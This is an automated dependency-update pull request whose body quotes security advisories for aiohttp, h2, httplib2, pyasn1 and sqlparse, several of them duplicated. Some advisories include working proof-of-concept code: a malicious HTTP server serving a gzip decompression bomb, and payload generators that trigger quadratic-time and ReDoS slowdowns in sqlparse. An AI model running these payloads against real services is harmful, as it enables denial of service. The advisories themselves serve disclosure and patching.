chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] by renovate-bot · Pull Request #595 · GoogleCloudPlatform/cloud-solutions

renovate-bot · 2026-07-07T14:35:32Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
aiohttp	`3.14.1` → `3.14.3`
h2	`4.3.0` → `4.4.1`
httplib2	`0.31.2` → `0.32.0`
pyasn1 (changelog)	`0.6.3` → `0.6.4`
sqlparse (changelog)	`0.5.5` → `0.6.0`

AIOHTTP: HTTP request smuggling via WebSocket upgrade

CVE-2026-69243 / GHSA-mfx4-hv73-q22v / PYSEC-2026-3546

More information

Details

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.

Patch: aio-libs/aiohttp@6ae358f

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

CVE-2026-59881 / GHSA-mq44-7p77-q5h7 / PYSEC-2026-3547

More information

Details

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.

Patch: aio-libs/aiohttp@47fb6ae

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

AIOHTTP: HTTP request smuggling via WebSocket upgrade

CVE-2026-69243 / GHSA-mfx4-hv73-q22v / PYSEC-2026-3546

More information

Details

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.

Patch: aio-libs/aiohttp@6ae358f

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

CVE-2026-59881 / GHSA-mq44-7p77-q5h7 / PYSEC-2026-3547

More information

Details

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.

Patch: aio-libs/aiohttp@47fb6ae

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

CVE-2026-69244 / GHSA-cq5v-8q36-5273 / PYSEC-2026-3545

More information

Details

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.

Patch: aio-libs/aiohttp@49f65d5

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

CVE-2026-69244 / GHSA-cq5v-8q36-5273 / PYSEC-2026-3545

More information

Details

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.

Patch: aio-libs/aiohttp@49f65d5

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

h2: Duplicate Host header could facilitate request smuggling

CVE-2026-71554 / GHSA-6hr6-w5qg-qmwg / PYSEC-2026-3628

More information

Details

Impact

h2 <=4.4.0 accepts request header blocks containing more than one Host header, and forwards every Host header to the consuming application. Where the consumer downgrades HTTP/2 to HTTP/1.1, the resulting request carries two Host header lines, which is a request smuggling primitive (CWE-444).

Patches

Patched and fixed in v4.4.1

Workarounds

Users of the h2 library are advised to check and follow HTTP semantics best practices in their application code. h2 provides best effort sanity checks, but ultimately the calling code is responsible to ensure proper and safe usage of HTTP/2 as provided by h2, hyperframe, and hpack.

References

Similar to the previously disclosed and fixed duplicate content-length issue.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

h2: Duplicate Host header could facilitate request smuggling

CVE-2026-71554 / GHSA-6hr6-w5qg-qmwg / PYSEC-2026-3628

More information

Details

Impact

h2 <=4.4.0 accepts request header blocks containing more than one Host header, and forwards every Host header to the consuming application. Where the consumer downgrades HTTP/2 to HTTP/1.1, the resulting request carries two Host header lines, which is a request smuggling primitive (CWE-444).

Patches

Patched and fixed in v4.4.1

Workarounds

Users of the h2 library are advised to check and follow HTTP semantics best practices in their application code. h2 provides best effort sanity checks, but ultimately the calling code is responsible to ensure proper and safe usage of HTTP/2 as provided by h2, hyperframe, and hpack.

References

Similar to the previously disclosed and fixed duplicate content-length issue.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

CVE-2026-59939 / GHSA-j5g9-f88f-gfj3 / PYSEC-2026-3444

More information

Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

gzip decompression (line 394):
```
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
```
The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
deflate decompression (line 397):
```
content = zlib.decompress(content, zlib.MAX_WBITS)
```
Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.
Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

Content-Encoding: gzip header
A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

##### Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics:

Compressed payload size: 152,908 bytes (~150 KB)
Decompressed size: 157,286,400 bytes (150 MB)
Amplification ratio: ~1,029x
Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter	Value
Compressed payload	~150 KB
Decompressed size	150 MB (configurable by attacker)
Amplification ratio	~1,029x
Authentication required	None
User interaction required	None
Prerequisites	Client makes any HTTP request to attacker-controlled server

Real-world scenarios:

Web scrapers/crawlers that fetch pages from untrusted URLs
API clients connecting to third-party services
Webhook handlers that follow redirects to attacker-controlled endpoints
CI/CD pipelines that download dependencies or artifacts over HTTP
Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.

Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

CVE-2026-59939 / GHSA-j5g9-f88f-gfj3 / PYSEC-2026-3444

More information

Details

httplib2 is a comprehensive HTTP client library for Python. Prior to 0.32.0, httplib2 performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate in _decompressContent in httplib2/init.py, allowing a malicious or compromised HTTP server to return a small compressed payload that expands to an arbitrarily large size in memory and causes MemoryError or OOM-kill in the client process. This issue is fixed in version 0.32.0.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service

CVE-2026-59885 / GHSA-8ppf-4f7h-5ppj / PYSEC-2026-3456

More information

Details

Impact

The BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.

The arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.

Affected components

ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.

Patches

Fixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.

Workarounds

Limit the size of untrusted ASN.1 input before decoding.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pyasn1: Uncontrolled resource consumption when converting decoded REAL values

CVE-2026-59886 / GHSA-hm4w-wwcw-mr6r / PYSEC-2026-3457

More information

Details

Impact

The univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.

Any operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.

Affected components

pyasn1.type.univ.Real — float conversion (float() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())
Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values

The encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.

Patches

Fixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .

Workarounds

Avoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs

CVE-2026-59884 / GHSA-m4p7-r5rc-7g4j / PYSEC-2026-3455

More information

Details

Impact

The BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled ValueError (integer string conversion limit) while the decoder formats error messages, violating the documented PyAsn1Error contract and potentially bypassing caller error handling.

Any application decoding untrusted BER/CER/DER input is affected.

Affected components

pyasn1.codec.ber.decoder — decode() and StreamingDecoder
pyasn1.codec.cer.decoder and pyasn1.codec.der.decoder, which inherit
the same tag parsing
pyasn1.type.tag — Tag/TagSet reprs could raise ValueError when
rendering oversized tag IDs (reachable through decoder error paths)

The encoders and the pyasn1.codec.native codec are not affected.

Patches

Fixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with PyAsn1Error. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.

Workarounds

Bound the size of untrusted input passed to decode() before calling it.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

CVE-2026-59884 / GHSA-m4p7-r5rc-7g4j / PYSEC-2026-3455

More information

Details

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

CVE-2026-59885 / GHSA-8ppf-4f7h-5ppj / PYSEC-2026-3456

More information

Details

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

CVE-2026-59886 / GHSA-hm4w-wwcw-mr6r / PYSEC-2026-3457

More information

Details

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

sqlparse: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes

CVE-2026-59894 / GHSA-3496-9g83-7v6x / PYSEC-2026-3696

More information

Details

Summary

The documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.

Details

The Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.

The affected modes are exposed through sqlparse.format(..., output_format='python'), sqlparse.format(..., output_format='php'), and the corresponding sqlformat -l options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.

Relevant code locations:

sqlparse/formatter.py:193 — selection of the output-language filters
sqlparse/filters/output.py:45 — opening of the generated Python string
sqlparse/filters/output.py:65 — incomplete Python quote escaping
sqlparse/filters/output.py:91 — opening of the generated PHP string
sqlparse/filters/output.py:114 — incomplete PHP quote escaping

PoC

A complete validated reproduction is attached as output_format_snippet_injection-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.

Extract the archive beside this report, then run:

./reproduction/run.sh

Observed result:

The generated Python snippet placed the attacker-controlled pathlib.Path(...).write_text(...) expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED, and completed successfully.

Verification method:

The verification helper calls sqlparse.format(..., output_format='python'), executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.

Limitations:

No reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.

Impact

This is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.

The demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.

Severity

CVSS Score: 6.2 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

sqlparse: Quadratic O(n²) DoS in group_comments

CVE-2026-71491 / GHSA-f2ff-p2ww-7p4p / PYSEC-2026-3697

More information

Details

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

CVE-2026-59893 / GHSA-prg7-hcfm-mfcr / PYSEC-2026-3698

More information

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

##### sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

##### sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

##### Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

##### Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

##### sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),

##### sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

##### Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

##### Copy the sqlparse repository source code
COPY repo/ /app/repo/

##### Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

##### Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

